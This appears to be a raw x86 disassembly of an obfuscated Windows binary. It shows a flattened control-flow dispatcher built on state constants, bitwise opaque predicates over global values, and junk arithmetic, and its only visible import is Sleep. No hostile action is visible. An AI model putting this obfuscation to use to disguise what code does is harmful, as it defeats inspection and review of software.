rcr ebx, 5
inc ebx
not eax
neg edx
or eax, 0x9a
rol edx, 0xc6
sbb eax, 0x3b
not edi
dec ebx
sub edi, 0x86
ror edx, 0x72
ror eax, 0x9a
ror edi, 0xf
imul ebx
rcl eax, 0x70
imul ebx
rol edi, 0x91
rcl eax, 0xa6
neg eax
bswap ebx
dec ebx
mov edi, 0xe7
dec edx
bswap edi
not esi
rcl esi, 0xba
neg ebx
not edi
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov ecx, 0x5a0c2b5
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
vmovups ymmword [eax + 0x20], ymm1
vmovups ymm1, ymmword [0x43e1e8]
vmovups ymmword [eax + 0x40], ymm2
vmovups ymmword [eax], ymm0
vmovups ymmword [eax + 0x58], ymm1
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0xa8]
setne byte [eax]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xa8]
cmp byte [eax], 0
mov eax, 0x6cf000a7
cmove eax, ecx
jmp 0x402a30
cmp eax, 0x384779c5
jg 0x40787f
cmp eax, 0x374a3426
je 0x40bc96
cmp eax, 0x374f2e54
je 0x40bcac
cmp eax, 0x3829ef2e
jne 0x402a30
mov eax, dword [ebp - 0x24]
mov dword [eax], 1
mov eax, 0xb8d96eed
jmp 0x402a30
cmp eax, 0xf9074d80
jg 0x4079fa
cmp eax, 0xf7fd1102
je 0x40bcc1
cmp eax, 0xf8af914d
je 0x40bde3
cmp eax, 0xf8b5484a
jne 0x402a30
mov eax, dword [0x492384]
mov esi, 0x9bf2a4f5
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xa758f3cc
mov eax, ecx
and eax, 0x2040a000
and edx, ecx
not ecx
and ecx, 0x871853cc
or eax, ecx
xor eax, 0x2040a000
or eax, edx
not edx
and edx, 0x58a70c33
and eax, 0xa758f3cc
or eax, edx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xbc9cde43
and ecx, 0x436321bc
or eax, ecx
mov ecx, eax
xor ecx, 0x80085441
xor eax, 0x42610004
and eax, 0x7ef58a06
and ecx, 0x810a75f9
or ecx, eax
xor ecx, 0x7ef58a06
sete al
setne dl
cmp dword [0x492380], 0xa
setge ah
setl ch
mov cl, ah
and dl, ch
or ch, al
and cl, al
xor al, ah
or cl, dl
mov edx, eax
or al, ch
xor dl, ch
xor al, 1
or al, dl
mov edx, eax
mov ah, al
and ah, cl
xor dl, 1
xor cl, 1
and dl, cl
or cl, al
or dl, ah
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0xded1778d
cmovne ecx, esi
test dl, dl
cmove ecx, esi
test al, 1
mov eax, 0xded1778d
jmp 0x409496
cmp eax, 0x7c7ceb5a
jg 0x407a25
cmp eax, 0x77648c78
je 0x40bf29
cmp eax, 0x776544aa
je 0x40bf33
cmp eax, 0x79eccd76
jne 0x402a30
mov eax, dword [ebp - 0x174]
add eax, 2
mov dword [ebp - 0x178], eax
mov eax, 0x4259e673
jmp 0x402a30
cmp eax, 0x8597c62a
jg 0x407b4d
cmp eax, 0x849ca105
je 0x40bfed
cmp eax, 0x84c54f8b
je 0x40c000
cmp eax, 0x84fecd2c
jne 0x402a30
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x154]
mov dword [eax], ecx
mov eax, 0xdbd8e6e9
jmp 0x402a30
cmp eax, 0x15c1df9
jg 0x407b78
cmp eax, 0xffb07490
je 0x40c0eb
cmp eax, 0x7c7c96
je 0x40c0f5
cmp eax, 0x885eaa
jne 0x402a30
mov eax, 0xfb482a80
jmp 0x402a30
cmp eax, 0xc71288ab
jg 0x407c58
cmp eax, 0xc47bc2cd
je 0x40c0ff
cmp eax, 0xc56de5a0
je 0x40c115
cmp eax, 0xc6afb9de
jne 0x402a30
mov eax, 0x9ffe4220
jmp 0x402a30
cmp eax, 0x4259e672
jg 0x407c83
cmp eax, 0x422f34b9
je 0x40c128
cmp eax, 0x4234c0ef
je 0x40c1fc
cmp eax, 0x42591e5d
jne 0x402a30
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x38]
mov eax, 0x8405f89f
jmp 0x402a30
cmp eax, 0xa8c26c8d
jg 0x407cbf
cmp eax, 0xa6fe583b
je 0x40c38d
cmp eax, 0xa776cc9e
je 0x40c3a3
cmp eax, 0xa8083f76
jne 0x402a30
mov eax, 0x6aee8ccf
jmp 0x402a30
cmp eax, 0x1e0479fb
jg 0x407d75
cmp eax, 0x1a542cec
je 0x40c3ad
cmp eax, 0x1a7e56da
je 0x40c3b7
cmp eax, 0x1dff0fcc
jne 0x402a30
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xd
mov eax, dword [ebp - 0x28]
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x8013827b
mov edx, eax
and edx, 0x7fec7d84
and eax, 1
or edx, ecx
mov esi, edx
xor esi, 0x7fec7d84
xor edx, 0x823a
mov ecx, esi
and esi, 0xfffffffe
or ecx, 1
and edx, 0x290ca73a
or eax, esi
mov esi, ecx
and esi, 0xd6f358c5
or edx, esi
mov esi, eax
not esi
and eax, 0x290ca73a
or ecx, esi
and esi, 0xd6f358c5
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
xor eax, 0xc7e75157
mov edx, ecx
not edx
and eax, ecx
or ecx, 0x3818aea8
and edx, 0xc5811005
mov esi, ecx
and esi, 0x2a76e3f2
or edx, esi
mov esi, eax
not esi
and eax, 0xd5891c0d
or ecx, esi
and esi, 0x2a76e3f2
or eax, esi
not ecx
mov esi, 0x71efb661
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xcc94fa50
and eax, 0x336b05af
or ecx, eax
xor ecx, 0xb73ab07
sete ch
setne ah
cmp dword [0x492380], 0xa
mov dh, ch
setl dl
setge al
mov cl, dl
or dh, al
and al, ch
or cl, ah
and ah, dl
or dl, ch
xor dh, 1
or al, ah
xor cl, 1
xor al, 1
or cl, dh
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov ah, cl
mov edx, eax
xor ah, 1
not dl
and dl, ah
or ah, al
and al, cl
or al, dl
mov edx, 0xee0f0d0
mov ecx, eax
xor cl, ah
test al, 1
cmovne edx, esi
test ah, 1
mov eax, 0xee0f0d0
jmp 0x40c0e0
cmp eax, 0xe5c840be
jg 0x407f00
cmp eax, 0xe49f0715
je 0x40c3d4
cmp eax, 0xe5365363
je 0x40c3e1
cmp eax, 0xe5adf0f3
jne 0x402a30
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xc08a2184
and ecx, 0x2c009652
mov edx, eax
and edx, 0x2600809
or esi, edx
mov edx, esi
xor edx, 0x8a2100
xor esi, 0x13554028
and esi, 0xd35540ac
and edx, 0xaa2901
or edx, esi
mov esi, eax
or esi, 0xc240008c
and esi, 0xd35540ac
or ecx, esi
mov esi, 0x90df38ee
xor ecx, edx
mov edx, ecx
not edx
and ecx, 0x12ee8646
and edx, 0xed1179b9
or ecx, edx
mov edx, ecx
xor edx, 0x90002b4a
xor ecx, 0x2d901031
and ecx, 0x6d9494b1
and edx, 0x926b6b4e
or edx, ecx
xor edx, 0x926b6b4e
or edx, eax
xor edx, 0xffffffff
setne dl
sete ah
cmp dword [0x492380], 0xa
setge al
setl ch
mov cl, al
and dl, ch
xor ch, ah
or cl, ah
and ch, ah
xor cl, 1
or cl, ch
mov ch, al
xor ch, ah
and ch, al
and al, ah
or al, dl
or al, ch
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x4763a53b
cmovne eax, esi
test cl, cl
mov ecx, 0x4763a53b
cmove eax, esi
test dl, dl
cmove eax, ecx
jmp 0x402a30
cmp eax, 0x64c7edd4
jg 0x407f2b
cmp eax, 0x603ed8bb
je 0x40c3ee
cmp eax, 0x60c78b7d
je 0x40c67a
cmp eax, 0x61c30da9
jne 0x402a30
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x1c4], eax
mov eax, 0x7f7283c8
jmp 0x402a30
cmp eax, 0x97f5a746
jg 0x407f86
cmp eax, 0x94835da7
je 0x40c740
cmp eax, 0x94aa7bb5
je 0x40c7d1
cmp eax, 0x97638fd6
jne 0x402a30
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x198], eax
mov eax, 0x142a2a94
jmp 0x402a30
cmp eax, 0xd8c34d5
jg 0x407fc8
cmp eax, 0xcd280e7
je 0x40c867
cmp eax, 0xd069a79
je 0x40c89a
cmp eax, 0xd4780f6
jne 0x402a30
mov eax, dword [ebp - 0x130]
mov eax, 0x22aee929
jmp 0x402a30
cmp eax, 0xd7329831
jg 0x408205
cmp eax, 0xd5933ee8
je 0x40c999
cmp eax, 0xd66712b7
je 0x40c9cd
cmp eax, 0xd67a976c
jne 0x402a30
mov eax, 0x4f08550
jmp 0x402a30
cmp eax, 0x4ecb5667
jg 0x40843f
cmp eax, 0x4bd7a4ce
je 0x40ca6e
cmp eax, 0x4d4a0fe8
je 0x40ca84
cmp eax, 0x4e297199
jne 0x402a30
mov eax, 0x6decdc92
jmp 0x402a30
cmp eax, 0xb6633a70
jg 0x40846a
cmp eax, 0xb5c8ba8a
je 0x40ca8e
cmp eax, 0xb5ddd9fd
je 0x40caa7
cmp eax, 0xb5e4b74b
jne 0x402a30
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x38]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
mov dword [eax], 0
mov eax, 0x53f53dd7
jmp 0x402a30
cmp eax, 0x36d3bf28
jg 0x408495
cmp eax, 0x32970d17
je 0x40cab1
cmp eax, 0x331b95ad
je 0x40cabb
cmp eax, 0x36033f71
jne 0x402a30
mov eax, dword [0x492384]
mov esi, 0x15c1dfa
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xbce3c61c
mov edx, eax
and eax, 0x431c39e3
and edx, 0xfffffffe
or eax, ecx
xor eax, 0x431c39e2
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x40480080
and eax, 0x8f165b39
and ecx, 0x30a1a446
or edx, ecx
xor edx, 0x40480080
or eax, edx
mov ecx, eax
not ecx
and eax, 0xa71d5813
and ecx, 0x58e2a7ec
or eax, ecx
mov ecx, eax
xor ecx, 0x8204a891
xor eax, 0x8090322
and ecx, 0xa206a899
and eax, 0x5df95766
or eax, ecx
mov ecx, eax
xor ecx, 0x22068098
xor eax, 0x10f01322
and eax, 0x90f03b23
and ecx, 0x6f0fc4dc
or ecx, eax
xor ecx, 0x6f0fc4dc
sete al
setne cl
cmp dword [0x492380], 0xa
setge ch
setl dl
and al, ch
or ch, cl
and dl, cl
mov ah, ch
mov cl, ch
or al, dl
xor ah, 1
mov edx, eax
and cl, ah
mov dh, ah
xor dl, 1
xor cl, 1
xor dh, cl
or cl, ah
xor cl, 1
or cl, dh
mov dh, cl
and cl, al
or al, ah
xor dh, 1
xor al, 1
and dh, dl
xor dl, ch
or al, dl
or cl, dh
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x812744a9
cmovne eax, esi
test cl, cl
not dl
mov ecx, 0x812744a9
cmove eax, esi
test dl, 1
cmovne eax, ecx
jmp 0x402a30
cmp eax, 0xf66dbfd2
jg 0x408590
cmp eax, 0xf599dfc5
je 0x40cad4
cmp eax, 0xf5e34626
je 0x40cade
cmp eax, 0xf6482d32
jne 0x402a30
mov eax, dword [ebp - 0x114]
mov eax, 0x6a46e7dd
jmp 0x402a30
cmp eax, 0x72080078
jg 0x408634
cmp eax, 0x6fcfa415
je 0x40cbf5
cmp eax, 0x711de1d6
je 0x40cd1b
cmp eax, 0x71efb661
jne 0x402a30
mov eax, 0x6f37e3e5
jmp 0x402a30
cmp eax, 0x8f517565
jg 0x40873c
cmp eax, 0x8ce0aa7b
je 0x40cd43
cmp eax, 0x8ec5c9e0
je 0x40cd59
cmp eax, 0x8ee171ad
jne 0x402a30
mov eax, 0x9c076b07
jmp 0x402a30
cmp eax, 0x6d75045
jg 0x408767
cmp eax, 0x62e6075
je 0x40cd63
cmp eax, 0x6b4470b
je 0x40296e
cmp eax, 0x6b8e70e
jne 0x402a30
mov eax, 0x546eac53
jmp 0x402a30
cmp eax, 0xcd8e24ec
jg 0x408795
cmp eax, 0xca2d283b
je 0x40ced6
cmp eax, 0xcd0db018
je 0x40cee0
cmp eax, 0xcd7ade17
jne 0x402a30
mov eax, 0x2555a43f
jmp 0x402a30
cmp eax, 0x46ea7720
jg 0x4087df
cmp eax, 0x45bb4105
je 0x40cfe6
cmp eax, 0x4614da0c
je 0x40cff0
cmp eax, 0x46699492
jne 0x402a30
mov eax, dword [0x492384]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0x1da84d8e
mov ecx, edx
and ecx, 0x1da84c8c
and eax, edx
not edx
mov esi, edx
and esi, 0x102
mov edi, eax
not edi
and edx, 0x18200400
and eax, 0x1a732610
or ecx, esi
xor ecx, 0x102
lea esi, [ecx - 0x1ffb6f9f]
or ecx, edi
and edi, 0xe58cd9ef
and esi, 0xe58cd9ef
or eax, edi
not ecx
or edx, esi
xor eax, edx
or ecx, eax
not eax
and eax, 0xe257b271
and ecx, 0x1da84d8e
or ecx, eax
mov esi, ecx
xor esi, 0x9c839abd
andn edx, ecx, esi
and esi, ecx
mov eax, edx
mov ebx, esi
not eax
not ebx
and edx, 0xb5a4ad9a
and esi, 0xb5a4ad9a
mov edi, eax
or eax, ebx
and edi, 0x4a5b5265
and ebx, 0x4a5b5265
or edx, edi
or esi, ebx
not eax
xor esi, edx
mov edx, ecx
not edx
and ecx, 0x7967e819
or eax, esi
mov esi, eax
not esi
and eax, 0xd6619da8
and esi, 0x299e6257
or eax, esi
mov esi, edx
and esi, 0x869817e6
and edx, 1
or esi, ecx
mov ecx, eax
xor ecx, 0xa20100
xor eax, 0xb51df8eb
xor esi, 0x7967e818
and ecx, 0xa0b23929
or edx, esi
mov esi, edx
not esi
and edx, 0x703eaa42
and esi, 0x8fc155bd
or edx, esi
mov esi, eax
and esi, 0x5f4dc6d6
or ecx, esi
mov esi, edx
xor esi, 0x20322800
xor edx, 0x8fc155bd
or eax, edx
and edx, 0x5f4dc6d6
and esi, 0xa0b23929
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0x18a2bc23
mov ecx, eax
not ecx
and eax, 0x2212040
mov edx, ecx
and edx, 0x410843a7
and ecx, 0xbcd69c18
or eax, edx
xor eax, 0x2212040
or ecx, eax
setne al
sete dl
cmp dword [0x492380], 0xa
mov ch, al
setge ah
setl cl
inc al
and ch, cl
and al, ah
or al, ch
mov ch, cl
xor cl, dl
or ch, dl
mov edx, 0xc3106cd5
xor ch, 1
or cl, ch
xor cl, al
cmovne edx, esi
test cl, al
mov esi, 0xc3106cd5
cmovne edx, esi
test cl, cl
cmovne esi, edx
test cl, al
jmp 0x40e7a3
cmp eax, 0xad27e868
je 0x40d143
cmp eax, 0xadf7a962
je 0x40d15c
cmp eax, 0xaeac73c9
jne 0x402a30
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x150], eax
mov eax, 0x3d2af6fe
jmp 0x402a30
cmp eax, 0x26d3c7c8
je 0x40d226
cmp eax, 0x283c1f30
je 0x40d332
cmp eax, 0x2918c73b
jne 0x402a30
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, 0xf14738a3
jmp 0x402a30
cmp eax, 0xea6ede2b
je 0x40d3b0
cmp eax, 0xeb8789db
je 0x40d3c6
cmp eax, 0xebb55bad
jne 0x402a30
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x180]
mov dword [eax], ecx
mov eax, 0xc93b5a2b
jmp 0x402a30
cmp eax, 0x6a657e54
je 0x40d4fe
cmp eax, 0x6aee8ccf
je 0x40d5ea
cmp eax, 0x6bdc6227
jne 0x402a30
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x9012604
and ecx, 0x20108011
or edx, ecx
mov ecx, eax
xor ecx, 0x2911a615
xor edx, 0x9012604
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x2911a614
and edx, 0xd6ee59eb
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn esi, eax, edx
or ecx, esi
mov esi, 0xcd8e24ed
not ecx
or ecx, edx
xor ecx, 0xffffffff
sete cl
setne al
cmp dword [0x492380], 0xa
setge ah
setl ch
mov dl, ah
or ah, al
xor dl, al
xor al, ch
not al
and dl, cl
mov cl, ah
and al, ch
mov ch, dl
xor cl, 1
xor dl, al
xor ch, 1
xor al, 1
or al, ch
mov ch, ah
xor al, 1
and ch, cl
or al, dl
xor ch, 1
mov edx, eax
or ch, cl
xor dl, 1
xor ch, 1
and dl, al
or ch, ah
mov ah, al
xor dl, 1
xor ah, dl
or dl, al
xor dl, 1
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor dl, ch
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xf9074d81
cmovne ecx, esi
test al, 1
mov eax, 0xf9074d81
jmp 0x402a24
cmp eax, 0x9c076b07
je 0x40d606
cmp eax, 0x9cb549b6
je 0x40d616
cmp eax, 0x9e147431
jne 0x402a30
mov eax, 0xb0f1535a
jmp 0x402a30
cmp eax, 0x128c81f7
je 0x40d749
cmp eax, 0x12abcd5d
je 0x40d767
cmp eax, 0x13eef16d
jne 0x402a30
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0xa1feaa90
mov edx, eax
not edx
and ecx, eax
or eax, 0x5e01556f
and edx, 0xa106a880
mov esi, eax
and esi, 0xcf9427d
or edx, esi
mov esi, ecx
not esi
and ecx, 0xf306bd82
or eax, esi
and esi, 0xcf9427d
or ecx, esi
not eax
mov esi, 0x871594e9
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x6e18bd6a
and ecx, 0x91e74295
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0x3019e804
xor ecx, 0xcfe617fa
xor edx, 0xcfe617fb
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x94200b02
mov edx, eax
and edx, 0x20005008
and eax, 0x4bdfa4f5
or ecx, edx
xor ecx, 0x94200b02
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x448329a9
mov edx, ecx
and edx, 0xbb7cd656
or eax, edx
xor eax, 0xbb7cd656
xor ecx, eax
test ecx, eax
sete dl
setne al
cmp dword [0x492380], 0xa
setge cl
xor dl, cl
xor al, cl
and dl, cl
mov ah, al
mov ecx, edx
xor ah, 1
xor dl, al
xor cl, 1
or cl, ah
xor cl, 1
or cl, dl
mov edx, ecx
not dl
and dl, ah
mov ah, al
xor ah, cl
and cl, al
or cl, dl
and ah, al
mov edx, 0x4720b142
mov al, cl
xor al, ah
test cl, cl
mov ecx, 0x871594e9
jmp 0x40c66b
cmp eax, 0xdbd8e6e9
je 0x40d774
cmp eax, 0xddec7afc
je 0x40d902
cmp eax, 0xded1778d
jne 0x402a30
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x2c]
inc eax
mov dword [ecx], eax
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0xa2bd8e93
and ecx, 0x5d42716c
or edx, ecx
xor edx, 0xa2bd8e93
or eax, edx
mov esi, eax
xor esi, 0xaed23556
mov edx, eax
and edx, 0xa6599de2
and esi, eax
not eax
and eax, 0x59a6621d
or edx, eax
mov ecx, edx
xor edx, 0x59a6621d
xor ecx, 0xa6599de2
mov eax, edx
or eax, 0x512dcaa9
mov ebx, ecx
and ebx, 0x6402050
and edx, 0xf041773d
mov edi, eax
and edi, 0xf99ed72e
or ebx, edi
mov edi, esi
not edi
and esi, 0x66128d1
or eax, edi
and edi, 0xf99ed72e
or esi, edi
not eax
mov edi, 0x45bb4105
xor esi, ebx
or eax, esi
mov esi, eax
not esi
and eax, 0x51169b2e
and esi, 0xaee964d1
or eax, esi
mov esi, ecx
and esi, 0xfbe88c2
and ecx, 1
or esi, edx
mov edx, eax
xor edx, 0x34c0ac29
xor eax, 0x3b5186
xor esi, 0xf041773c
and edx, 0x34c0fd29
or ecx, esi
mov esi, eax
and esi, 0xcb3f02d6
or edx, esi
mov esi, ecx
not esi
or eax, ecx
and ecx, 0xcb3f02d6
and esi, 0x34c0fd29
not eax
or esi, ecx
xor esi, edx
or eax, esi
mov esi, 0x9bf2a4f5
mov ecx, eax
not ecx
and eax, 0xea9c67f3
and ecx, 0x1563980c
or eax, ecx
mov ecx, eax
xor ecx, 0xa8980062
xor eax, 0x11618808
and eax, 0x5365ef99
and ecx, 0xac9a1066
or ecx, eax
mov eax, ecx
xor eax, 0x10010010
xor ecx, 0x20920046
and ecx, 0x63f6efcf
and eax, 0x9c091030
or eax, ecx
mov ecx, eax
xor ecx, 0x9c081030
xor eax, 0x6070420e
and eax, 0x6071420e
and ecx, 0x9f8ebdf1
or ecx, eax
xor ecx, 0x9f8ebdf1
setne cl
sete ah
cmp dword [0x492380], 0xa
mov edx, ecx
setl ch
setge al
or cl, ch
and dl, al
and ch, ah
or ch, dl
xor cl, 1
mov dl, ch
xor dl, al
or al, ah
xor al, 1
and dl, ch
or al, cl
mov ecx, edx
mov ah, al
xor cl, 1
xor ah, 1
and al, cl
or cl, ah
and ah, dl
mov edx, 0x45bb4105
or ah, al
mov al, cl
xor al, ah
test al, 1
cmovne edx, esi
test ah, ah
mov eax, edx
cmovne eax, edi
test cl, cl
cmovne eax, edx
jmp 0x402a30
cmp eax, 0x546eac53
je 0x40db4c
cmp eax, 0x548fa789
je 0x40db59
cmp eax, 0x55c49ee4
jne 0x402a30
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xac]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, 0x8a7a0730
jmp 0x402a30
cmp eax, 0xba369ca6
je 0x40dcbe
cmp eax, 0xbe278e72
je 0x40dde8
cmp eax, 0xbf622e70
jne 0x402a30
mov eax, 0x422f34b9
jmp 0x402a30
cmp eax, 0x3ab4e7dc
je 0x40ddf5
cmp eax, 0x3c07ec19
je 0x40e6d0
cmp eax, 0x3c7102b8
jne 0x402a30
mov eax, dword [0x492384]
lea esi, [eax + 1]
imul esi, eax
mov ecx, esi
not ecx
mov eax, esi
and eax, 0x9dc23114
or esi, 0x8828501c
mov edx, ecx
and edx, 0x623dceeb
and esi, 0x892851fe
and ecx, 0x6868a00
or edx, eax
or ecx, esi
mov eax, edx
xor edx, 0x9dc23114
xor eax, 0x623dceeb
mov edi, edx
or edi, 0x10001e2
mov ebx, eax
and ebx, 0x70512401
and edx, 0x50259676
and eax, 0xafda6988
and edi, 0x892851fe
or eax, edx
or ebx, edi
xor eax, 0xafda6988
mov edi, 0x6a46e7dd
xor ecx, ebx
mov esi, ecx
not esi
and ecx, 0x6a4a4ab6
and esi, 0x95b5b549
or ecx, esi
mov esi, 0xf6482d32
xor ecx, 0x92333eaa
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x38000927
mov edx, ecx
and edx, 0x800062c0
and ecx, 0x47ff9418
or eax, edx
xor eax, 0x38000927
or ecx, eax
setne ah
sete dl
cmp dword [0x492380], 0xa
setl al
setge cl
xor al, dl
mov ch, cl
and al, dl
or ch, dl
xor dl, cl
xor al, 1
mov dh, al
or al, ch
xor dh, ch
mov ch, cl
or cl, ah
xor al, 1
xor ch, ah
xor cl, 1
mov ah, dl
or al, dh
or cl, ch
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor dl, al
xor al, 1
xor cl, 1
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x6a46e7dd
cmovne ecx, esi
test dl, 1
mov edx, ecx
cmovne edx, edi
jmp 0x412840
cmp eax, 0xfaac7a89
je 0x40e6dd
cmp eax, 0xfad7a295
je 0x40e6ea
cmp eax, 0xfb036e31
jne 0x402a30
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
mov eax, 0x6d0c2dad
jmp 0x402a30
cmp eax, 0x7d9fc488
je 0x40e7ad
cmp eax, 0x7e53584e
je 0x40e8eb
cmp eax, 0x7e5a1145
jne 0x402a30
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0x22da6a85
mov edx, eax
not edx
and ecx, eax
or eax, 0xdd25957a
and edx, 0x22da4881
mov esi, eax
and esi, 0x54252714
or edx, esi
mov esi, ecx
not esi
and ecx, 0xabdad8eb
or eax, esi
and esi, 0x54252714
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xffd9c184
and ecx, 0x263e7b
or eax, ecx
mov edx, eax
xor edx, 0xc801ab00
mov ecx, eax
mov esi, eax
xor ecx, 0x22fc54fe
xor esi, 0xe8a9ab16
xor eax, 0x1803ab00
and esi, ecx
and edx, 0xca55ffe8
and eax, 0x389bef6a
and ecx, 0xc7641094
or edx, esi
or ecx, eax
mov esi, edx
not esi
and edx, 0x5d14b226
xor ecx, 0xc7641094
and esi, 0xa2eb4dd9
or edx, esi
mov esi, 0xe937d808
xor edx, 0x68beb230
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x2f50ea88
and eax, 0xd0af1577
or eax, ecx
cmp eax, 0x2f50ea88
sete al
cmp dword [0x492380], 0xa
setge cl
setl dl
mov ah, cl
xor ah, al
xor ah, 1
or cl, ah
and ah, al
xor al, dl
and al, dl
or al, ah
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
mov ah, dl
xor dl, 1
and dl, cl
xor cl, 1
and ah, cl
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xb69e5bde
cmovne ecx, esi
test al, 1
mov eax, 0xb69e5bde
jmp 0x402a24
cmp eax, 0x82be4b37
je 0x40ea12
cmp eax, 0x8405a629
je 0x40eb64
cmp eax, 0x8405f89f
jne 0x402a30
mov eax, dword [ebp - 0x94]
mov eax, dword [eax]
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
movzx eax, word [eax]
mov dword [ebp - 0x170], eax
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x6f80e4bc
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0x907f1b43
and ecx, 0x6f80e4bc
or ecx, eax
mov esi, ecx
not esi
mov edx, ecx
and edx, 0x94c2af0c
and ecx, 0x81141326
mov eax, esi
and esi, 0x6b3d50f3
or eax, 1
or edx, esi
mov esi, eax
and esi, 0x7eebecd8
or ecx, esi
mov esi, edx
xor esi, 0x80000305
xor edx, 0x6b3d50f2
or eax, edx
and edx, 0x7eebecd8
and esi, 0x81141327
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0x42591e5d
mov ecx, eax
xor ecx, 0x6bb070d
mov edx, eax
and edx, 0xba0704
and ecx, eax
not eax
and eax, 0x6010009
or edx, eax
xor edx, 0xba0704
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x19f441ad
and eax, 0xe60bbe52
or ecx, eax
xor ecx, 0x1f4f46a0
setne cl
sete al
cmp dword [0x492380], 0xa
mov edx, ecx
setge ch
setl ah
xor al, ch
xor cl, ah
or dl, ah
and al, ch
mov ch, cl
not ch
xor al, 1
and ch, ah
mov dh, al
or al, cl
xor ch, 1
xor dh, cl
xor al, 1
mov cl, ch
or ch, dl
or al, dh
xor cl, dl
xor ch, 1
or ch, cl
mov dl, ch
mov cl, ch
and dl, al
xor al, 1
xor cl, 1
and cl, al
or cl, dl
mov dl, ch
xor dl, al
or al, ch
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x109912eb
cmovne eax, esi
test cl, 1
mov ecx, 0x109912eb
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402a30
cmp eax, 0xfed02087
je 0x40ebe7
cmp eax, 0xff6828d3
je 0x40ec94
cmp eax, 0xff8e2b10
jne 0x402a30
mov eax, 0x7c7ceb5b
jmp 0x402a30
cmp eax, 0xc3074492
je 0x40ec9e
cmp eax, 0xc3106cd5
je 0x40ed57
cmp eax, 0xc35bde52
jne 0x402a30
mov eax, dword [0x492384]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x8b67043
mov eax, edx
